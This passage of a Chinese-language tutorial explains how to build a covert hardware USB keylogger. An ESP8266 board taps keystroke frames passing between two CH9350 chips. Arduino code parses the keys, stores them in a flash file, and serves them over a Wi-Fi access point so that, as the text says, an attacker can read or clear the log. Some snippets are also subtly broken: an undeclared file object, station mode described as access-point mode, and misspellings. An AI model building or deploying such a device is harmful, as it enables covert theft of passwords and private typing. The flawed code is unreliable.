原理图
左下角是电源模块,由于ESP8266需要3.3V的供电,USB接口是5V的供电,因此使用AMS1117-3.3芯片进行转换。
正下方是ESP8266-07S模块,我们使用它UART接口的RX(接收端)来接收CH9350发出的数据。它连接到键盘端CH9350 UART的TX(发送端),“旁听”CH9350之间的通讯。
这样还有一个好处:键盘记录器的分析模块站在了“旁观者”的角度,即使它出现了解析速度慢,甚至宕机的情况,也不会对键盘产生任何影响。
正中央的两颗芯片是CH9350。根据官方文档,使用两颗CH9350分别作为连接键盘的下位机和连接电脑的上位机,统一使用3.3V供电。
两侧是USB接头和母座,用于插入电脑的USB接口,和连接USB键盘。
固件设计具体的键盘数据解析、数据存储、Wi-Fi功能,需要我们在ESP8266模块中编写相关程序,也就是固件。
ESP8266支持通过Arduino开发,这为我们的固件开发提供了便利,因此本文在Arduino环境下完成开发。
ESP8266的固件,需要实现:
通过UART串口读取CH9350之间的键盘数据,并进行解析。
将数据储存进SPIFSS中,并提供读取和清空的功能。
提供通过Wi-Fi查看记录内容的功能
上电后,两颗CH9350会自动协商进入“模式1”,在UART接口上传输多种数据帧。具体的过程和数据帧信息,请查阅官方文档。其中我们需要的是“有效键值帧”,它包含了用户在键盘上按下的按键信息。其格式如下:
有效键值帧
由于我们截取的是USB键盘的数据,帧格式一般是这样的:
57AB 83 0C 12 01 00 00 04 00 00 00 00 00 12 17 //A键被按下
57AB 83 0C 12 01 00 00 00 00 00 00 00 00 13 14 //按键被放开
前面的6位固定,接下来的8位是标准的USB键盘数据,最后两位是序列号和校验。
前6位我们可以作为识别有效键值帧的特征,接下来读取后8位即可得到击键信息。
具体的数据表请参考USB HID Usage Table,连接在文末。
Arduino中,实现识别有效键值帧的示例代码如下:
void loop() {
while (Serial.available() > 0) { //串口缓冲区有数据
if (Serial.read() == 0x83){ //帧的第二位 83 是第一个特征
delay(10); //适当延迟,等待后续数据到达串口缓冲区
if (Serial.read() == 0x0C){
delay(10);
if (Serial.read() == 0x12){
delay(10);
if (Serial.read() == 0x01){
//此处读取8位键盘数据
}
}
}
}
}
}
ESP8266模块通过连接到上位机的CH9350的TX端口,接收键盘数据帧。并将其解码为按键信息。接下来将获得的数据保存在SPIFSS中。
SPIFSS(Serial Peripheral Interface Flash File System)是ESP8266模块自带的一个闪存,它的数据在断电后也不会丢失。ESP8266-07S模块中,这个闪存的大小为4M,足够我们保存相当多的键盘记录了。
通过FS.h我们可以对SPIFSS进行读取和修改,示例代码如下:
#include <FS.h>
File logFile; //创建文件对象
void setup() {
SPIFFS.begin();
logFile = SPIFFS.open("/keyLog.txt", "a+"); //打开一个文件
dataFile.println("Some Data Here,Maybe Keylog"); //写入数据
dataFile.close();
}
最后是Wi-Fi部分:创建一个Wi-Fi网络,攻击者连接后可以查看或清空键盘记录。这里参考了wifi_keylogger的部分思路,示例代码如下:
#include <ESP8266WiFi.h>
#include <ESPAsyncTCP.h>
#include <ESPAsyncWebServer.h>
const char *ssid = "USBKeylogger"; //创建的接入点的名称
const char *password = "12345678"; //接入点的密码
AsyncWebServer server(80); //在80端口开启服务(ip为192.168.4.1)
void setup() {
WiFi.mode(WIFI_STA); //Wi-Fi为接入点模式
WiFi.softAP(ssid,password); //开启Wi-Fi
server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){ //当访问根目录时显示记录内容
request->send(SPIFFS, "/keyLog.txt", "text/plain");
});
server.on("/clear", HTTP_GET, [](AsyncWebServerRequest *request){ //当访问“/claer”时清空已有记录
logFile.close();
logFile = SPIFFS.open("/keyLog.txt", "w");
request->send(200, "text/plain", "Log File Cleared!");
});
server.begin(); //开启服务器
}
三者结合就是USBKeylogger的全部代码了。完整的固件源代码,可以在文末给出的链接处下载。
四、硬件制作 PCB设计与生产为了将理论转为现实,我们要将原理图转换为PCB,并进行Layout。这里使用了立创EDA进行制作。
具体的Layout过程,受限于篇幅,在此不做叙述。笔者的PCB设计如图所示: